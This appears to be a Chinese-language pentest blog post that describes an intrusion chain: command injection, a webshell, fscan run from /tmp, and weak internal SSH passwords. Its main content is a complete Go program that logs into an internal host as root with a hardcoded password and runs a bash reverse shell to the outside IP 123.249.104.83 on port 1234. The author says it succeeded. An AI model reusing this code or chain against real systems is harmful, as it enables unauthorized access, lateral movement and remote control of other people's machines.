0x01 应用场景

一个命令执行的口子

主机不出网

当前是nobody权限,web目录是root权限,写webshell没权限

通过一个ctf技巧搞了一个webshell,能上传文件但是不能执行命令

通过webshell将fscan上传到/tmp目录下,通过入口的命令执行漏洞执行fscan,发现内网有ssh弱口令

0x02 解决方案

已知连接ssh的同时可以执行命令
image
当时的想法是连接ssh,然后执行命令反弹shell,但是连接ssh需要交互式shell,第一时间想到expect,经测试主机上没有expect,然后想到通过python中的pexpect去做这件事,发现目标中的python缺少依赖,如果上传python依赖到对应的依赖库目录太麻烦了,最后想到用go去实现,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main

import (
"bytes"
"fmt"
"log"

"golang.org/x/crypto/ssh"
)

func main() {

var (
username = "root"
password = "P@ssw0rd!"
addr = "10.62.139.19:22"
)

config := &ssh.ClientConfig {
User: username,
Auth: []ssh.AuthMethod{
ssh.Password(password),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}

client, err := ssh.Dial("tcp", addr, config)
if err != nil {
log.Fatal("Failed to dial: ", err)
}
defer client.Close()

// 开启一个session,用于执行一个命令
session, err := client.NewSession()
if err != nil {
log.Fatal("Failed to create session: ", err)
}
defer session.Close()

// 执行命令,并将执行的结果写到 b 中
var b bytes.Buffer
session.Stdout = &b

// 也可以使用 session.CombinedOutput() 整合输出
if err := session.Run("bash -i >& /dev/tcp/123.249.104.83/1234 0>&1"); err != nil {
log.Fatal("Failed to run: " + err.Error())
}

fmt.Println(b.String()) // root
}

其实是在赌目标主机出网,盲打成功接收到反弹shell那一刻,还是挺爽的~